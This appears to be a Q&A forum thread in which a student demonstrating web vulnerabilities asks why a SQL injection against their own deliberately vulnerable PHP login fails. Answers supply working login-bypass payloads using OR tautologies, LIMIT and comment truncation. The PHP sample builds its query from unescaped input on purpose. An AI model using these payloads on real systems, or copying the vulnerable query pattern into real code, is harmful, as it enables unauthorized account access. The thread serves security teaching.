我的SQL注入似乎不起作用？

Question

I have to do a project for school about a number of different web vulnerabilities (SQL, XSS, CSRF, etc), and I've made a very simple website to demonstrate the attacks on. But for some reason, I just cannot get SQL injection to work by attacking the login.

Here is the simple login code:

$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);

if ($count == 1) {
    echo " Reached target!";
    session_start();
    $_SESSION["cmail"] = $cmail;
    $_SESSION["cpwd"] = $cpwd;
} else {}

A lot of the echo stuff is so I can follow the injection to see what happens, but it gives me weird results.

If I login as one of the customers; username: jjones@mit.edu, password = 123abc, it gives me the expected response:

SELECT * FROM customer WHERE cMAIL='jjones@mit.edu' AND cPWD='123abc' Reached target!

This is what it echos in the browser, just to be clear!

And session is created for jjones. But if I do this: username: 1' OR '1'='1, password:(empty) it echoes this:

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' AND cPWD=''

No errors or anything. I've echo'd $count and it says 0 rows are selected from the database. So the injection is sound, but I'm not getting any rows based off the query. How do I solve this?

Answer 1

You could produce

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''

With user:

1' OR '1'='1' LIMIT 0,1;#

And password empty.

Answer 2

To bypass login check, you should build a query that meet the following specification:

1. Limit to only one row. (LIMIT)
2. WHERE clause always be true. (boolean calculation)

So @Ignacio Ocampo 's solution is exactly the right one.

BTW, there's one thing you should consider in SQL injection. If magic_quotes_gpc enabled, PHP will automatically convert ' to \\' .

Answer 3

You can demonstrate SQL injection in your example by setting username to

1' OR 1=1; --

This will make your final query :

SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD=''

This comments out the password check.

Answer 4

You have to put something down for the password field. Right now the query must match password to blank ("").

Something like the following will make you a smart bad-guy

Username: 1' OR '1' = '1 
Password: doesntmatter' OR '1' = '1

This translates to

SELECT * 
FROM customer 
WHERE cMAIL='1' OR '1'='1' 
   AND cPWD='doesntmatter' OR '1' = '1'